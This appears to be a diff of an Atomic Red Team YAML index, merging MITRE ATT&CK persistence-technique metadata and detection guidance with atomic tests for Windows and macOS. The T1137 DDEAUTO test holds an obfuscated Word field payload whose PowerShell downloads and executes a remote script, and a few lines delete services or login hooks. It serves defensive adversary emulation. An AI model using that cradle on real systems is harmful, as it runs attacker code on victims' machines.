Services may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Pedro Harrison + created: '2017-05-31T21:30:45.613Z' x_mitre_effective_permissions: - SYSTEM - x_mitre_permissions_required: - - Administrator - - SYSTEM + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + external_references: + - external_id: T1050 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1050 + - source_name: capec + external_id: CAPEC-550 + url: https://capec.mitre.org/data/definitions/550.html + - source_name: TechNet Services + description: Microsoft. (n.d.). Services. Retrieved June 7, 2016. + url: https://technet.microsoft.com/en-us/library/cc772408.aspx + - source_name: Microsoft 4697 APR 2017 + description: 'Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service + was installed in the system. Retrieved August 7, 2018.' + url: https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697 + - source_name: Microsoft Windows Event Forwarding FEB 2018 + description: Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding + to help with intrusion detection. Retrieved August 7, 2018. + url: https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection + - source_name: TechNet Autoruns + description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. + Retrieved June 6, 2016. + url: https://technet.microsoft.com/en-us/sysinternals/bb963902 + modified: '2019-07-18T16:43:25.906Z' identifier: T1050 atomic_tests: - name: Service Installation @@ -2974,109 +3055,15 @@ persistence: (Get-WmiObject Win32_Service -filter "name='#{service_name}'").Delete() T1137: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1137 - source_name: mitre-attack - external_id: T1137 - - url: https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea - source_name: Microsoft Change Normal Template - description: Microsoft. (n.d.). Change the Normal template (Normal.dotm). - Retrieved July 3, 2017. - - url: https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office - source_name: MSDN VBA in Office - description: Austin, J. (2017, June 6). Getting Started with VBA in Office. - Retrieved July 3, 2017. - - url: https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/ - source_name: enigma0x3 normal.dotm - description: Nelson, M. (2014, January 23). Maintaining Access with normal.dotm. - Retrieved July 3, 2017. - - url: http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/ - source_name: Hexacorn Office Template Macros - description: Hexacorn. (2017, April 17). Beyond good ol’ Run key, Part 62. - Retrieved July 3, 2017. - - url: http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/ - source_name: Hexacorn Office Test - description: Hexacorn. (2014, April 16). Beyond good ol’ Run key, Part 10. - Retrieved July 3, 2017. - - url: https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460 - source_name: Microsoft Office Add-ins - description: Microsoft. (n.d.). Add or remove add-ins. Retrieved July 3, 2017. - - url: https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/ - source_name: MRWLabs Office Persistence Add-ins - description: Knowles, W. (2017, April 21). Add-In Opportunities for Office - Persistence. Retrieved July 3, 2017. - - url: https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s03-youve-got-mail.pdf - source_name: FireEye Mail CDS 2018 - description: Caban, D. and Hirani, M. (2018, October 3). You’ve Got Mail! - Enterprise Email Compromise. Retrieved April 22, 2019. - - url: https://github.com/sensepost/ruler - source_name: SensePost Ruler GitHub - description: 'SensePost. (2016, August 18). Ruler: A tool to abuse Exchange - services. Retrieved February 4, 2019.' - - url: https://silentbreaksecurity.com/malicious-outlook-rules/ - source_name: SilentBreak Outlook Rules - description: Landers, N. (2015, December 4). Malicious Outlook Rules. Retrieved - February 4, 2019. - - url: https://sensepost.com/blog/2017/outlook-forms-and-shells/ - source_name: SensePost Outlook Forms - description: Stalmans, E. (2017, April 28). Outlook Forms and Shells. Retrieved - February 4, 2019. - - url: https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/ - source_name: SensePost Outlook Home Page - description: Stalmans, E. (2017, October 11). Outlook Home Page – Another - Ruler Vector. Retrieved February 4, 2019. - - url: https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746 - source_name: CrowdStrike Outlook Forms - description: Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral - Movement and Persistence. Retrieved February 5, 2019. - - url: https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943 - source_name: Outlook Today Home Page - description: Soutcast. (2018, September 14). Outlook Today Homepage Persistence. - Retrieved February 5, 2019. - - url: https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack - source_name: Microsoft Detect Outlook Forms - description: Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook - Rules and Custom Forms Injections Attacks in Office 365. Retrieved February - 4, 2019. - - url: https://github.com/sensepost/notruler - source_name: SensePost NotRuler - description: SensePost. (2017, September 21). NotRuler - The opposite of Ruler, - provides blue teams with the ability to detect Ruler usage against Exchange. - Retrieved February 4, 2019. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_system_requirements: - - |- - Office Test technique: Office 2007, 2010, 2013, 2015 and 2016 - Add-ins: some require administrator permissions - x_mitre_permissions_required: - - User - - Administrator x_mitre_data_sources: - Process monitoring - Process command-line parameters - Windows Registry - File monitoring - modified: '2019-04-25T03:07:21.560Z' - x_mitre_detection: |- - Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page) Modification to base templated, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated. - - Monitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins. (Citation: MRWLabs Office Persistence Add-ins) - - Non-standard process execution trees may also indicate suspicious or malicious behavior. Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously. - - For the Outlook rules and forms methods, Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler) - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: persistence - kill_chain_name: mitre-attack - id: attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53 + x_mitre_permissions_required: + - User + - Administrator name: Office Application Startup - created: '2017-12-14T16:46:06.044Z' - x_mitre_version: '1.1' - type: attack-pattern description: "Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application @@ -3084,20 +3071,30 @@ persistence: that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic - for Applications (VBA) macros (Citation: MSDN VBA in Office) can inserted - into the base templated and used to execute code when the respective Office + for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted + into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that - will automatically be loaded. (Citation: enigma0x3 normal.dotm) (Citation: - Hexacorn Office Template Macros)\n\nWord Normal.dotm location:C:\\Users\\(username)\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm\n\nExcel - Personal.xlsb location:C:\\Users\\(username)\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB\n\nAn - adversary may need to enable macros to execute unrestricted depending on the - system or enterprise security policy on use of macros.\n\n### Office Test\n\nA - Registry location was found that when a DLL reference was placed within it - the corresponding DLL pointed to by the binary path would be executed every - time an Office application is started (Citation: Hexacorn Office Test)\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Office + will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn + Office Template Macros) Shared templates may also be stored and pulled from + remote locations.(Citation: GlobalDotName Jun 2019) \n\nWord Normal.dotm location:C:\\Users\\\\(username)\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm\n\nExcel + Personal.xlsb location:C:\\Users\\\\(username)\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB\n\nAdversaries + may also change the location of the base template to point to their own by + hijacking the application's search order, e.g. Word 2016 will first look for + Normal.dotm under C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\, + or by modifying the GlobalDotName registry key. By modifying the GlobalDotName + registry key an adversary can specify an arbitrary location, file name, and + file extension to use for the template that will be loaded on application + startup. To abuse GlobalDotName, adversaries may first need to register the + template as a trusted document or place it in a trusted location.(Citation: + GlobalDotName Jun 2019) \n\nAn adversary may need to enable macros to execute + unrestricted depending on the system or enterprise security policy on use + of macros.\n\n### Office Test\n\nA Registry location was found that when a + DLL reference was placed within it the corresponding DLL pointed to by the + binary path would be executed every time an Office application is started + (Citation: Hexacorn Office Test)\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf\n\n### Add-ins\n\nOffice add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins)\n\nAdd-ins can also be used to obtain persistence because they can be set to execute @@ -3109,32 +3106,135 @@ persistence: FireEye Mail CDS 2018)\n\n### Outlook Rules, Forms, and Home Page\n\nA variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) - \n\nOutlook rules allow a user to define automated behavior to manage email - messages. A benign rule might, for example, automatically move an email to - a particular folder in Outlook if it contains specific words from a specific - sender. Malicious Outlook rules can be created that can trigger code execution - when an adversary sends a specifically crafted email to that user.(Citation: - SilentBreak Outlook Rules)\n\nOutlook forms are used as templates for presentation - and functionality in Outlook messages. Custom Outlook Forms can be created - that will execute code when a specifically crafted email is sent by an adversary - utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms)\n\nOutlook - Home Page is a legacy feature used to customize the presentation of Outlook - folders. This feature allows for an internal or external URL to be loaded - and presented whenever a folder is opened. A malicious HTML page can be crafted - that will execute code when loaded by Outlook Home Page.(Citation: SensePost - Outlook Home Page)\n\nTo abuse these features, an adversary requires prior - access to the user’s Outlook mailbox, either via an Exchange/OWA server or - via the client application. Once malicious rules, forms, or Home Pages have - been added to the user’s mailbox, they will be loaded when Outlook is started. - Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded - while malicious rules and forms will execute when an adversary sends a specifically + These persistence mechanisms can work within Outlook or be used through Office + 365.(Citation: TechNet O365 Outlook Rules)\n\nOutlook rules allow a user to + define automated behavior to manage email messages. A benign rule might, for + example, automatically move an email to a particular folder in Outlook if + it contains specific words from a specific sender. Malicious Outlook rules + can be created that can trigger code execution when an adversary sends a specifically + crafted email to that user.(Citation: SilentBreak Outlook Rules)\n\nOutlook + forms are used as templates for presentation and functionality in Outlook + messages. Custom Outlook Forms can be created that will execute code when + a specifically crafted email is sent by an adversary utilizing the same custom + Outlook form.(Citation: SensePost Outlook Forms)\n\nOutlook Home Page is a + legacy feature used to customize the presentation of Outlook folders. This + feature allows for an internal or external URL to be loaded and presented + whenever a folder is opened. A malicious HTML page can be crafted that will + execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook + Home Page)\n\nTo abuse these features, an adversary requires prior access + to the user’s Outlook mailbox, either via an Exchange/OWA server or via the + client application. Once malicious rules, forms, or Home Pages have been added + to the user’s mailbox, they will be loaded when Outlook is started. Malicious + Home Pages will execute when the right Outlook folder is loaded/reloaded while + malicious rules and forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules)(Citation: SensePost Outlook Forms)(Citation: SensePost Outlook Home Page)" + id: attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53 + x_mitre_platforms: + - Windows + - Office 365 + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.2' + x_mitre_system_requirements: + - |- + Office Test technique: Office 2007, 2010, 2013, 2015 and 2016 + Add-ins: some require administrator permissions + type: attack-pattern + x_mitre_detection: |- + Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page) Modification to base templated, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.(Citation: GlobalDotName Jun 2019) + + Monitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins.(Citation: GlobalDotName Jun 2019)(Citation: MRWLabs Office Persistence Add-ins) + + Non-standard process execution trees may also indicate suspicious or malicious behavior. Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously. + + For the Outlook rules and forms methods, Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler) + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_contributors: + - Microsoft Threat Intelligence Center (MSTIC) + - Sahar Shukrun - Praetorian - Nick Carr, FireEye - Loic Jaquemet - Ricardo Dias + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1137 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1137 + - source_name: Microsoft Change Normal Template + description: Microsoft. (n.d.). Change the Normal template (Normal.dotm). + Retrieved July 3, 2017. + url: https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea + - source_name: MSDN VBA in Office + description: Austin, J. (2017, June 6). Getting Started with VBA in Office. + Retrieved July 3, 2017. + url: https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office + - source_name: enigma0x3 normal.dotm + description: Nelson, M. (2014, January 23). Maintaining Access with normal.dotm. + Retrieved July 3, 2017. + url: https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/ + - source_name: Hexacorn Office Template Macros + description: Hexacorn. (2017, April 17). Beyond good ol’ Run key, Part 62. + Retrieved July 3, 2017. + url: http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/ + - description: Shukrun, S. (2019, June 2). Office Templates and GlobalDotName + - A Stealthy Office Persistence Technique. Retrieved August 26, 2019. + source_name: GlobalDotName Jun 2019 + url: https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique + - source_name: Hexacorn Office Test + description: Hexacorn. (2014, April 16). Beyond good ol’ Run key, Part 10. + Retrieved July 3, 2017. + url: http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/ + - source_name: Microsoft Office Add-ins + description: Microsoft. (n.d.). Add or remove add-ins. Retrieved July 3, 2017. + url: https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460 + - source_name: MRWLabs Office Persistence Add-ins + description: Knowles, W. (2017, April 21). Add-In Opportunities for Office + Persistence. Retrieved July 3, 2017. + url: https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/ + - description: Caban, D. and Hirani, M. (2018, October 3). You’ve Got Mail! + Enterprise Email Compromise. Retrieved April 22, 2019. + source_name: FireEye Mail CDS 2018 + url: https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s03-youve-got-mail.pdf + - description: 'SensePost. (2016, August 18). Ruler: A tool to abuse Exchange + services. Retrieved February 4, 2019.' + source_name: SensePost Ruler GitHub + url: https://github.com/sensepost/ruler + - description: Landers, N. (2015, December 4). Malicious Outlook Rules. Retrieved + February 4, 2019. + source_name: SilentBreak Outlook Rules + url: https://silentbreaksecurity.com/malicious-outlook-rules/ + - description: Stalmans, E. (2017, April 28). Outlook Forms and Shells. Retrieved + February 4, 2019. + source_name: SensePost Outlook Forms + url: https://sensepost.com/blog/2017/outlook-forms-and-shells/ + - description: Stalmans, E. (2017, October 11). Outlook Home Page – Another + Ruler Vector. Retrieved February 4, 2019. + source_name: SensePost Outlook Home Page + url: https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/ + - description: Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral + Movement and Persistence. Retrieved February 5, 2019. + source_name: CrowdStrike Outlook Forms + url: https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746 + - description: Soutcast. (2018, September 14). Outlook Today Homepage Persistence. + Retrieved February 5, 2019. + source_name: Outlook Today Home Page + url: https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943 + - description: Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook + Rules and Custom Forms Injections Attacks in Office 365. Retrieved February + 4, 2019. + source_name: Microsoft Detect Outlook Forms + url: https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack + - description: SensePost. (2017, September 21). NotRuler - The opposite of Ruler, + provides blue teams with the ability to detect Ruler usage against Exchange. + Retrieved February 4, 2019. + source_name: SensePost NotRuler + url: https://github.com/sensepost/notruler + modified: '2019-10-08T21:10:31.591Z' identifier: T1137 atomic_tests: - name: DDEAUTO @@ -3171,44 +3271,14 @@ persistence: 10. DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord\\..\\..\\..\\..\\windows\\system32\\{ QUOTE 87 105 110 100 111 119 115 80 111 119 101 114 83 104 101 108 108 }\\v1.0\\{ QUOTE 112 111 119 101 114 115 104 101 108 108 46 101 120 101 } -w 1 -nop { QUOTE 105 101 120 }(New-Object System.Net.WebClient).DownloadString('http:///download.ps1'); # " "Microsoft Document Security Add-On" T1150: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1150 - source_name: mitre-attack - external_id: T1150 - - url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ - source_name: Sofacy Komplex Trojan - description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). - Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_defense_bypassed: - - Application whitelisting - - Process whitelisting - - Whitelisting by file name or path x_mitre_data_sources: - File monitoring - Process monitoring - Process command-line parameters - modified: '2019-02-19T16:27:45.214Z' - x_mitre_detection: |- - File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like "Knock Knock" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed. - - Monitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - macOS - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: persistence - kill_chain_name: mitre-attack - - phase_name: privilege-escalation - kill_chain_name: mitre-attack - id: attack-pattern--06780952-177c-4247-b978-79c357fb311f + x_mitre_permissions_required: + - User + - Administrator name: Plist Modification - created: '2017-12-14T16:46:06.044Z' - x_mitre_version: '1.0' - type: attack-pattern description: "Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded @@ -3220,9 +3290,39 @@ persistence: files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)" - x_mitre_permissions_required: - - User - - Administrator + id: attack-pattern--06780952-177c-4247-b978-79c357fb311f + x_mitre_platforms: + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: |- + File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like "Knock Knock" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed. + + Monitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + modified: '2019-06-25T11:58:11.559Z' + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + external_references: + - external_id: T1150 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1150 + - source_name: Sofacy Komplex Trojan + description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). + Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. + url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ + x_mitre_defense_bypassed: + - Application whitelisting + - Process whitelisting + - Whitelisting by file name or path identifier: T1150 atomic_tests: - name: Plist Modification @@ -3245,44 +3345,44 @@ persistence: 2. Subsequently, follow the steps for adding and running via [Launch Agent](Persistence/Launch_Agent.md) T1163: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1163 - source_name: mitre-attack - external_id: T1163 - - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html - source_name: Startup Items - description: Apple. (2016, September 13). Startup Items. Retrieved July 11, - 2017. - - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf - source_name: Methods of Mac Malware Persistence - description: Patrick Wardle. (2014, September). Methods of Malware Persistence - on Mac OS X. Retrieved July 5, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_permissions_required: + - root x_mitre_data_sources: - File monitoring - Process monitoring - modified: '2018-10-31T13:45:13.024Z' - x_mitre_detection: The /etc/rc.common file can be monitored to - detect changes from the company policy. Monitor process execution resulting - from the rc.common script for unusual or unknown applications or behavior. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - macOS - kill_chain_phases: - - phase_name: persistence - kill_chain_name: mitre-attack - id: attack-pattern--18d4ab39-12ed-4a16-9fdb-ae311bba4a0f name: Rc.common - created: '2017-12-14T16:46:06.044Z' - x_mitre_version: '1.0' - type: attack-pattern description: |- During the boot process, macOS executes source /etc/rc.common, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used. Adversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence). - x_mitre_permissions_required: - - root + id: attack-pattern--18d4ab39-12ed-4a16-9fdb-ae311bba4a0f + x_mitre_platforms: + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: The /etc/rc.common file can be monitored to + detect changes from the company policy. Monitor process execution resulting + from the rc.common script for unusual or unknown applications or behavior. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1163 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1163 + - source_name: Startup Items + description: Apple. (2016, September 13). Startup Items. Retrieved July 11, + 2017. + url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html + - source_name: Methods of Mac Malware Persistence + description: Patrick Wardle. (2014, September). Methods of Malware Persistence + on Mac OS X. Retrieved July 5, 2017. + url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf + modified: '2019-07-18T17:28:22.742Z' identifier: T1163 atomic_tests: - name: rc.common @@ -3300,31 +3400,11 @@ persistence: ' T1164: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1164 - source_name: mitre-attack - external_id: T1164 - - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf - source_name: Methods of Mac Malware Persistence - description: Patrick Wardle. (2014, September). Methods of Malware Persistence - on Mac OS X. Retrieved July 5, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: Monitoring the specific plist files associated with reopening - applications can indicate when an application has registered itself to be - reopened. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - macOS - kill_chain_phases: - - phase_name: persistence - kill_chain_name: mitre-attack - id: attack-pattern--6a3be63a-64c5-4678-a036-03ff8fc35300 + x_mitre_permissions_required: + - User + x_mitre_data_sources: + - File monitoring name: Re-opened Applications - created: '2017-12-14T16:46:06.044Z' - x_mitre_version: '1.0' - type: attack-pattern description: "Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property @@ -3333,8 +3413,30 @@ persistence: \n\nAn adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence)." - x_mitre_permissions_required: - - User + id: attack-pattern--6a3be63a-64c5-4678-a036-03ff8fc35300 + x_mitre_platforms: + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.1' + type: attack-pattern + x_mitre_detection: Monitoring the specific plist files associated with reopening + applications can indicate when an application has registered itself to be + reopened. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1164 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1164 + - description: Patrick Wardle. (2014, September). Methods of Malware Persistence + on Mac OS X. Retrieved July 5, 2017. + source_name: Methods of Mac Malware Persistence + url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf + modified: '2019-06-25T11:28:26.938Z' identifier: T1164 atomic_tests: - name: Re-Opened Applications @@ -3373,57 +3475,15 @@ persistence: sudo defaults delete com.apple.loginwindow LoginHook T1060: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1060 - source_name: mitre-attack - external_id: T1060 - - external_id: CAPEC-270 - source_name: capec - url: https://capec.mitre.org/data/definitions/270.html - - url: http://msdn.microsoft.com/en-us/library/aa376977 - source_name: Microsoft Run Key - description: Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November - 12, 2014. - - url: https://support.microsoft.com/help/310593/description-of-the-runonceex-registry-key - source_name: Microsoft RunOnceEx APR 2018 - description: Microsoft. (2018, August 20). Description of the RunOnceEx Registry - Key. Retrieved June 29, 2018. - - url: https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/ - source_name: Oddvar Moe RunOnceEx Mar 2018 - description: Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden - from Autoruns.exe. Retrieved June 29, 2018. - - url: https://technet.microsoft.com/en-us/sysinternals/bb963902 - source_name: TechNet Autoruns - description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. - Retrieved June 6, 2016. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Oddvar Moe, @oddvarmoe - x_mitre_permissions_required: - - User - - Administrator x_mitre_data_sources: - Windows Registry - File monitoring - modified: '2019-04-08T20:17:53.044Z' - x_mitre_detection: |- - Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data. - - Changes to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: persistence - kill_chain_name: mitre-attack - id: attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc - name: Registry Run Keys / Startup Folder - created: '2017-05-31T21:30:49.988Z' - x_mitre_version: '1.0' - 